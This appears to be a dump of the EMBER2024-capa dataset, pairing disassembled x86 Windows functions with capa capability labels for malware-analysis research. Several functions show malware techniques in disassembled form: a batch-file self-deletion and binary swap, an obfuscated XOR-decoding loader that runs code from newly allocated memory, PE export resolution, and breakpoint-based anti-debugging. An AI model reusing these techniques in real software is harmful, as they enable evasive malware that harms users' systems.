joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406f25
Capabilities:
Complete processing asynchronous io request

Disassembly:
push esi
mov esi, dword [edx + 0x60]
movzx eax, byte [esi + 1]
dec eax
cmp eax, 0xa
ja case.0x406f1e.4
jmp dword [eax*4 + 0x406f5c]
pop esi
jmp fcn.00406f90
pop esi
jmp 0x407080
mov ecx, dword [ecx + 0x28]
test ecx, ecx
je 0x406f54
cmp dword [ecx + 0x1c], 0x7d0
jne 0x406f54
inc byte [edx + 0x23]
lea eax, [esi + 0x24]
mov dword [edx + 0x60], eax
mov ecx, dword [ecx + 0x20]
pop esi
jmp dword [sym.imp.ntoskrnl.exe_IofCallDriver]
mov eax, 0xc0000001
pop esi
ret
mov ecx, dword [ecx + 0x28]
test ecx, ecx
je 0x4070a0
cmp dword [ecx + 0x1c], 0x7d0
jne 0x4070a0
inc byte [edx + 0x23]
add dword [edx + 0x60], 0x24
mov ecx, dword [ecx + 0x20]
jmp dword [sym.imp.ntoskrnl.exe_IofCallDriver]
mov eax, 0xc0000001
ret

Function at 0x407840
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push esi
xor eax, eax
mov dword [ebp - 0xc], 0
push 0x118
push eax
mov word [ebp - 8], ax
mov esi, ecx
mov dword [ebp - 6], eax
mov word [ebp - 2], ax
lea eax, [ebp - 0x12c]
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x130], 0x11c
call sub.ntoskrnl.exe_memset
mov eax, dword [0x4712e8]
add esp, 0xc
test eax, eax
jne 0x407966
push str.RtlGetVersion
lea eax, [ebp - 8]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea eax, [ebp - 8]
push eax
call dword [sym.imp.ntoskrnl.exe_MmGetSystemRoutineAddress]
test eax, eax
je 0x4078b7
lea ecx, [ebp - 0x130]
push ecx
call eax
jmp 0x4078d4
push 0
lea eax, [ebp - 0x124]
push eax
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.ntoskrnl.exe_PsGetVersion]
mov eax, dword [ebp - 0x12c]
cmp eax, 5
jne 0x40791e
mov eax, dword [ebp - 0x128]
test eax, eax
jne 0x4078f5
mov eax, 1
mov dword [0x4712e8], eax
jmp 0x407966
cmp eax, 1
jne 0x407906
mov eax, 2
mov dword [0x4712e8], eax
jmp 0x407966
cmp eax, 2
jne 0x407961
xor eax, eax
cmp word [ebp - 0x1c], ax
setne al
add eax, 3
mov dword [0x4712e8], eax
jmp 0x407966
cmp eax, 6
jne 0x407961
mov ecx, dword [ebp - 0x128]
test ecx, ecx
jne 0x407939
mov eax, 5
mov dword [0x4712e8], eax
jmp 0x407966
cmp ecx, 1
jne 0x40794a
mov eax, 6
mov dword [0x4712e8], eax
jmp 0x407966
mov eax, dword [0x4712e8]
cmp ecx, 2
mov edx, 7
cmove eax, edx
mov dword [0x4712e8], eax
jmp 0x407966
mov eax, dword [0x4712e8]
cmp eax, 5
jle 0x4079a4
xor eax, eax
mov word [ebp - 8], ax
mov dword [ebp - 6], eax
mov word [ebp - 2], ax
lea eax, [ebp - 8]
push 0x470368
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea eax, [ebp - 8]
push eax
call dword [sym.imp.ntoskrnl.exe_MmGetSystemRoutineAddress]
test eax, eax
jne 0x40799c
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push esi
call eax
pop esi
mov esp, ebp
pop ebp
ret
cmp eax, 2
je 0x4079b3
cmp eax, 4
je 0x4079b3
cmp eax, 3
jne 0x407995
push eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax - 0x10]
mov dword [ebp - 0xc], eax
pop eax
mov eax, dword [ebp - 0xc]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4013d0
Capabilities:
Read .ini file

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x42aff1
push eax
mov eax, 0x188c
mov dword fs:[0], esp
call fcn.0040e710
mov eax, dword [0x438970]
push ebx
push ebp
xor ebx, ebx
push esi
push edi
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], eax
mov ecx, 0x5db
xor eax, eax
lea edi, [esp + 0x12d]
mov byte [esp + 0x12c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x29]
mov byte [esp + 0x28], bl
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x18b8]
lea edx, [esp + 0x12c]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x18b4]
push ecx
push 0x1770
push edx
push eax
mov dword [esp + 0x18b4], ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionA]
xor eax, eax
cmp byte [esp + eax + 0x12c], bl
jne 0x40146e
cmp byte [esp + eax + 0x12d], bl
je 0x401476
inc eax
cmp eax, 0x1770
jl 0x40145c
mov esi, dword [esp + 0x18ac]
lea edi, [eax + 1]
push 0xffffffffffffffff
push ebx
mov ecx, esi
mov dword [esp + 0x28], edi
call fcn.0041db11
mov ebp, dword [esp + 0x18b0]
push 0xffffffffffffffff
push ebx
mov ecx, ebp
call fcn.0041db11
xor eax, eax
cmp edi, ebx
mov dword [esp + 0x18], eax
jle 0x40158f
mov ecx, dword [esp + 0x14]
mov al, byte [esp + eax + 0x12c]
mov byte [esp + ecx + 0x28], al
inc ecx
cmp al, bl
mov dword [esp + 0x14], ecx
jne 0x40157a
lea ecx, [esp + 0x28]
push ecx
lea ecx, [esp + 0x14]
call fcn.0041facd
mov edx, dword [esp + 0x10]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
mov eax, dword [edx - 8]
mov dword [esp + 0x14], ebx
cmp eax, ebx
je 0x40157a
push 0x4380c0
lea ecx, [esp + 0x14]
call fcn.0041d335
push eax
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x18]
call fcn.0041d29b
mov ecx, dword [esi + 8]
push eax
push ecx
mov ecx, esi
mov byte [esp + 0x18ac], 1
call fcn.0041dc5a
lea ecx, [esp + 0x1c]
mov byte [esp + 0x18a4], bl
call fcn.0041f944
push 0x4380c0
lea ecx, [esp + 0x14]
call fcn.0041d335
inc eax
lea ecx, [esp + 0x24]
push eax
push ecx
lea ecx, [esp + 0x18]
call fcn.0041d1e2
mov ecx, dword [ebp + 8]
push eax
push ecx
mov ecx, ebp
mov byte [esp + 0x18ac], 2
call fcn.0041dc5a
lea ecx, [esp + 0x24]
mov byte [esp + 0x18a4], bl
call fcn.0041f944
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x20]
inc eax
cmp eax, ecx
mov dword [esp + 0x18], eax
jl 0x4014ad
mov esi, dword [esi + 8]
lea ecx, [esp + 0x10]
mov dword [esp + 0x18a4], 0xffffffff
call fcn.0041f944
mov ecx, dword [esp + 0x189c]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1898
ret
Function at 0x401940
Capabilities:
Access peb ldr_data
Create process on windows
Get common file path
Self delete
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x42b120
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push esi
mov esi, dword [esp + 0x28]
push 0x100
push 0x100
lea ecx, [esp + 0x30]
mov dword [esp + 0x28], 0
call fcn.0041fd4d
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0xffffffffffffffff
lea ecx, [esp + 0x2c]
call fcn.0041fd9c
mov eax, dword [0x438970]
mov dword [esp + 4], eax
push 0x100
lea ecx, [esp + 8]
mov byte [esp + 0x24], 1
call fcn.0041fd4d
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xffffffffffffffff
lea ecx, [esp + 8]
call fcn.0041fd9c
lea ecx, [esp + 4]
push str.wanyx.bat
lea edx, [esp + 0xc]
push ecx
push edx
call fcn.0041fbd9
mov eax, dword [eax]
push 0x438130
push eax
call fcn.0040e8bd
add esp, 8
lea ecx, [esp + 8]
mov esi, eax
call fcn.0041f944
test esi, esi
je 0x401b30
push esi
push str._echo_off_n
call fcn.0040e83e
push esi
push str.ping__n_2_127.0.0.1_nul_n
call fcn.0040e83e
add esp, 0x10
lea eax, [esp + 0x28]
lea ecx, [esp + 0xc]
push eax
push str.del__f__q
push ecx
call fcn.0041fc4d
push str.wanyxmodule.exe_n
lea edx, [esp + 0xc]
push eax
push edx
mov byte [esp + 0x2c], 2
call fcn.0041fbd9
mov eax, dword [eax]
push esi
push eax
call fcn.0040e83e
add esp, 8
lea ecx, [esp + 8]
call fcn.0041f944
lea ecx, [esp + 0xc]
mov byte [esp + 0x20], 1
call fcn.0041f944
lea eax, [esp + 0x28]
lea ecx, [esp + 0x14]
push eax
push str.move
push ecx
call fcn.0041fc4d
push str.wanyxupdate.exe
lea edx, [esp + 0x14]
push eax
push edx
mov byte [esp + 0x2c], 3
call fcn.0041fbd9
lea ecx, [esp + 0x28]
lea edx, [esp + 8]
push ecx
push eax
push edx
mov byte [esp + 0x2c], 4
call fcn.0041fb73
push str.wanyxmodule.exe_n
push eax
lea eax, [esp + 0x14]
mov byte [esp + 0x28], 5
push eax
call fcn.0041fbd9
mov eax, dword [eax]
push esi
push eax
call fcn.0040e83e
add esp, 8
lea ecx, [esp + 0xc]
call fcn.0041f944
lea ecx, [esp + 8]
mov byte [esp + 0x20], 4
call fcn.0041f944
lea ecx, [esp + 0x10]
mov byte [esp + 0x20], 3
call fcn.0041f944
lea ecx, [esp + 0x14]
mov byte [esp + 0x20], 1
call fcn.0041f944
push esi
push str.del__0
call fcn.0040e83e
push esi
call fcn.0040e7c1
add esp, 0xc
push str.wanyx.bat
lea ecx, [esp + 8]
lea edx, [esp + 0x18]
push ecx
push edx
call fcn.0041fbd9
mov eax, dword [eax]
push 0
push 0
push 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [esp + 0x14]
call fcn.0041f944
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x404da0
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
test eax, eax
mov esi, ecx
je 0x404def
mov eax, dword [esi + 0xb8]
mov dword [esi + 0xe0], 0xffffffff
push eax
call fcn.00405960
test eax, eax
jne 0x404ddc
push 5
push eax
push eax
mov eax, dword [esi + 0xb8]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x404def
push 0
push 0x438650
push 0x438644
mov ecx, esi
call fcn.00421ec8
push 0
mov ecx, esi
call fcn.004230e3
push esi
call fcn.00401d50
mov dword [esi + 0x94], 1
pop esi
ret 4
Function at 0x426674
Capabilities:
Create http request

Disassembly:
mov eax, 0x42bac0
call fcn.0040ebec
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [ebp + 0xc]
and dword [ebp - 4], 0
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [esi], vtable.CInternetSession.0
jne 0x4266ac
call fcn.00427e63
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
mov dword [esi + 8], eax
jne 0x4266d1
push eax
push dword [esi + 4]
call fcn.004272f3
jmp 0x4266dd
push esi
push eax
mov ecx, 0x43e578
call fcn.004266ee
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 0x18

Function at 0x42699f
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get process heap flags

Disassembly:
mov eax, 0x42bb1f
call fcn.0040ebec
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.00424198
mov eax, dword [ebp + 0x18]
lea ebx, [esi + 0x24]
mov dword [esi + 0x1c], eax
mov eax, dword [0x438970]
xor edi, edi
mov dword [ebx], eax
mov dword [ebp - 4], edi
push dword [ebp + 0x10]
lea ecx, [esi + 0xc]
mov byte [ebp - 4], 1
mov dword [esi], vtable.CInternetFile.0
call fcn.0041facd
push dword [ebp + 0x14]
mov ecx, ebx
call fcn.0041facd
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x14], eax
mov eax, dword [ebp + 0x1c]
mov dword [esi + 0x18], eax
mov dword [esi + 0x3c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x40], edi
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x18

Function at 0x4286bf
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4286ed
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x42870b
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00428625
jmp 0x42870b
mov eax, dword [esi + 0x14]
test eax, eax
je 0x42870b
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00428625
test edi, edi
mov eax, edi
jne 0x4286f5
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x100ad1e
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov eax, 0x1035844
call fcn.01034e28
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
xor edi, edi
push 0xa
lea ecx, [esi + 0x40]
mov dword [ebp - 4], edi
mov dword [esi], 0x1002138
call fcn.01033570
or dword [esi + 0x14], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x24], edi
mov dword [esi + 0x20], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x30], edi
mov dword [esi + 4], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x3c], edi
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x404dec
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x404dfb
pop dword [ebp - 4]
mov eax, 0x1f79c776
sub eax, 0x1f39797b
sub dword [ebp - 4], eax
push 0x40
push 0x1000
push 0x37089
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 4]
call dword [eax]
mov ecx, 0x82ba5b8c
sub ecx, 0x82ba1664
xor edx, edx
add edx, eax
mov edi, 0x416800
add edi, dword [ebp - 4]
mov esi, 0x66aa602c
add esi, 0x140a06ed
mov ebx, dword [edi]
xor ebx, esi
mov dword [edx], ebx
add edx, 0xeb18ca89
sub edx, 0xeb18ca85
add edi, 0x68b935f2
sub edi, 0x68b935ee
loop 0x404e51
add eax, 0x42645ccf
sub eax, 0x4263555c
mov ebx, eax
add eax, 0x1e3c0b0e
add eax, 0xe1c3f4f7
mov ecx, 0x400000
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0x1000128f
Capabilities:
Query environment variable

Disassembly:
push ebx
xor ebx, ebx
cmp dword [esp + 8], ebx
je 0x100012b2
push 0x104
push dword [esp + 0xc]
push str.USER_JPI_PROFILE
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x100012b2
mov bl, 1
mov al, bl
pop ebx
ret

Function at 0x100017d8
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x10011265
call fcn.10002bb0
mov eax, dword [ebp + 8]
push 0x104
push eax
xor edi, edi
push edi
push edi
xor ecx, ecx
push 0x10012858
mov word [eax], cx
mov dword [ebp - 4], edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathEx]
mov esi, eax
cmp esi, edi
jge 0x1000184c
push esi
push str.Error:_08x_in_SHGetFolderPathEx_FOLDERID_LocalAppDataLow__0__NULL__pPath__MAX_PATH_
call fcn.1000230d
pop ecx
pop ecx
push edi
push esi
call fcn.100069d3
mov ecx, dword [ebp - 0x18]
mov esi, dword [ecx + 4]
mov dword [ebp - 0x14], esi
call fcn.10002085
push eax
push esi
push 0x100124f4
call fcn.1000230d
or dword [ebp - 4], 0xffffffff
add esp, 0xc
mov eax, 0x10001845
ret
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x100018fd
push dword [ebp + 8]
mov dword [ebp - 4], 2
push edi
push edi
push 0x1a
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x100018a9
push esi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__pPath_
jmp 0x10001810
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x100018fd
push 1
push 0x1a
push dword [ebp + 8]
mov dword [ebp - 4], 4
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x100018fd
push esi
push str.Error:_08x_in_SHGetSpecialFolderPathW_NULL__pPath__CSIDL_APPDATA__TRUE_
jmp 0x10001810
mov eax, esi
call fcn.10002be6
ret

Function at 0x10002390
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10016040]
jne 0x1000239a
repz ret
jmp fcn.100046fe
Function at 0xedc108
Capabilities:
Decompress data using aplib

Disassembly:
call 0xedc258
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xedc12e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xedc11a
add dl, dl
jne 0xedc139
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xedc18c
xor eax, eax
add dl, dl
jne 0xedc146
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xedc22d
add dl, dl
jne 0xedc155
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xedc160
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xedc16b
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xedc176
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xedc182
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xedc125
mov eax, 1
add dl, dl
jne 0xedc19a
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xedc1a5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xedc191
sub eax, ebx
mov ebx, 1
jne 0xedc1d8
mov ecx, 1
add dl, dl
jne 0xedc1be
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xedc1c9
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xedc1b5
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xedc125
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xedc1ef
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xedc1fa
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xedc1e6
cmp eax, 0x7d00
jae 0xedc21d
cmp eax, 0x500
jb 0xedc218
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xedc125
cmp eax, 0x7f
ja 0xedc220
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xedc125
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xedc24e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xedc125
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x40380c
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
movzx eax, word [eax + 0x14]
add eax, dword [ebp + 0xc]
add eax, 0x18
xor ecx, ecx
jmp 0x403840
mov edx, dword [eax + 8]
test edx, edx
jne 0x40382f
mov edx, dword [eax + 0x10]
mov esi, dword [eax + 0xc]
cmp ebx, esi
jb 0x40383c
add edx, esi
cmp ebx, edx
jb 0x40384d
inc ecx
add eax, 0x28
mov edx, dword [ebp + 0xc]
movzx edx, word [edx + 6]
cmp ecx, edx
jb 0x403825
xor eax, eax
pop esi
pop ebx
pop ebp
ret
Function at 0x403888
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
cmp word [edi], 0x5a4d
je 0x4038a2
xor eax, eax
jmp 0x403a22
mov ebx, dword [edi + 0x3c]
add ebx, edi
cmp dword [ebx], 0x4550
je 0x4038b6
xor eax, eax
jmp 0x403a22
cmp word [ebx + 0x14], 0xe0
jne 0x4038c6
cmp word [ebx + 0x18], 0x10b
je 0x4038cd
xor eax, eax
jmp 0x403a22
mov dword [0x46f3a4], edi
mov ebx, dword [edi + 0x3c]
mov esi, edi
add ebx, esi
mov eax, dword [ebx + 0x78]
mov dword [ebp - 0x18], eax
push ebx
mov edx, dword [ebp - 0x18]
push edx
call fcn.0040380c
add esp, 8
test eax, eax
jne 0x4038f8
xor eax, eax
jmp 0x403a22
mov edx, dword [0x46f3a4]
push edx
push ebx
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00403854
add esp, 0xc
mov ebx, dword [ebx + 0x78]
test ebx, ebx
jne 0x40392a
push 0x10
push 0
push str.Error_in_GetProcAddressDirectly__
push 0
call fcn.0041a27a
xor eax, eax
jmp 0x403a22
add ebx, esi
mov edx, dword [ebx + 0x24]
add edx, esi
mov dword [ebp - 4], edx
mov ecx, dword [ebx + 0x20]
add ecx, esi
mov dword [ebp - 0xc], ecx
mov eax, dword [ebx + 0x1c]
add eax, esi
mov dword [ebp - 8], eax
mov edx, dword [ebp + 0xc]
mov ecx, edx
shr ecx, 0x10
test cx, cx
je 0x4039f4
xor esi, esi
mov eax, dword [ebp - 8]
mov edx, eax
mov dword [ebp - 0x28], edx
jmp 0x4039e6
mov ecx, dword [ebp - 8]
mov eax, dword [ecx]
test eax, eax
je 0x4039e1
xor edx, edx
mov dword [ebp - 0x14], edx
mov ecx, dword [ebp - 0x28]
mov eax, ecx
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0xc]
mov ecx, edx
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 4]
mov edx, eax
mov dword [ebp - 0x1c], edx
jmp 0x4039d8
mov ecx, dword [ebp - 0x1c]
movzx eax, word [ecx]
cmp esi, eax
jne 0x4039cd
mov edx, dword [ebp - 0x20]
mov ecx, dword [edx]
add ecx, edi
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp + 0xc]
mov cl, byte [eax]
cmp cl, byte [edx]
jne 0x4039cd
test cl, cl
je 0x4039c2
mov cl, byte [eax + 1]
cmp cl, byte [edx + 1]
jne 0x4039cd
add eax, 2
add edx, 2
test cl, cl
jne 0x4039a6
jne 0x4039cd
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
add eax, edi
jmp 0x403a22
inc dword [ebp - 0x14]
add dword [ebp - 0x20], 4
add dword [ebp - 0x1c], 2
mov edx, dword [ebx + 0x18]
dec edx
cmp edx, dword [ebp - 0x14]
jae 0x40398c
inc esi
add dword [ebp - 0x28], 4
mov ecx, dword [ebx + 0x14]
dec ecx
cmp esi, ecx
jbe 0x403964
jmp 0x403a20
xor esi, esi
mov eax, dword [ebp - 8]
jmp 0x403a18
mov ecx, dword [ebx + 0x10]
add ecx, esi
cmp edx, ecx
jne 0x403a14
cmp dword [eax], 0
je 0x403a14
mov edx, dword [eax]
shl edx, 6
add edi, edx
mov eax, edi
jmp 0x403a22
inc esi
add eax, 4
mov ecx, dword [ebx + 0x14]
dec ecx
cmp esi, ecx
jbe 0x4039fb
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403c10
Capabilities:
Check for software breakpoints
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
mov eax, fcn.00401b38
mov dword [ebp - 4], eax
mov esi, dword [ebp - 4]
mov al, byte [esi]
cmp al, 0xcc
je 0x403cc3
mov eax, 0x4017ac
mov dword [ebp - 8], eax
mov esi, dword [ebp - 8]
mov al, byte [esi]
cmp al, 0xcc
je 0x403cc3
mov eax, 0x403e40
mov dword [ebp - 0xc], eax
mov esi, dword [ebp - 0xc]
mov al, byte [esi]
cmp al, 0xcc
je 0x403cc3
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 8]
xor ebx, ebx
mov edi, 0x20
mov ecx, dword [eax + 4]
mov eax, dword [ebp + 0xc]
mov edx, dword [edx]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x1c], eax
jmp 0x403cc3
add ebx, 0x9e3779b9
mov eax, ecx
shl eax, 4
add eax, dword [ebp - 0x10]
lea esi, [ebx + ecx]
xor eax, esi
mov esi, ecx
shr esi, 5
add esi, dword [ebp - 0x14]
xor eax, esi
add edx, eax
mov eax, edx
shl eax, 4
add eax, dword [ebp - 0x18]
lea esi, [ebx + edx]
xor eax, esi
mov esi, edx
shr esi, 5
add esi, dword [ebp - 0x1c]
xor eax, esi
add ecx, eax
mov eax, edi
add edi, 0xffffffff
test eax, eax
jg 0x403c8b
mov eax, dword [ebp + 8]
mov dword [eax], edx
mov edx, dword [ebp + 8]
mov dword [edx + 4], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403ce0
Capabilities:
Check for software breakpoints
Decrypt data using tea

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
mov eax, fcn.00401b38
mov dword [ebp - 4], eax
mov esi, dword [ebp - 4]
mov al, byte [esi]
cmp al, 0xcc
je 0x403d96
mov eax, 0x4017ac
mov dword [ebp - 8], eax
mov esi, dword [ebp - 8]
mov al, byte [esi]
cmp al, 0xcc
je 0x403d96
mov eax, fcn.00403ce0
mov dword [ebp - 0xc], eax
mov esi, dword [ebp - 0xc]
mov al, byte [esi]
cmp al, 0xcc
je 0x403d96
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 8]
mov ebx, 0xc6ef3720
mov edi, 0x20
mov ecx, dword [edx]
mov edx, dword [eax + 4]
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x1c], eax
jmp 0x403d96
mov eax, ecx
shl eax, 4
add eax, dword [ebp - 0x18]
lea esi, [ebx + ecx]
xor eax, esi
mov esi, ecx
shr esi, 5
add esi, dword [ebp - 0x1c]
xor eax, esi
sub edx, eax
mov eax, edx
shl eax, 4
add eax, dword [ebp - 0x10]
lea esi, [ebx + edx]
xor eax, esi
mov esi, edx
shr esi, 5
add esi, dword [ebp - 0x14]
xor eax, esi
sub ecx, eax
sub ebx, 0x9e3779b9
mov eax, edi
add edi, 0xffffffff
test eax, eax
jg 0x403d5e
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret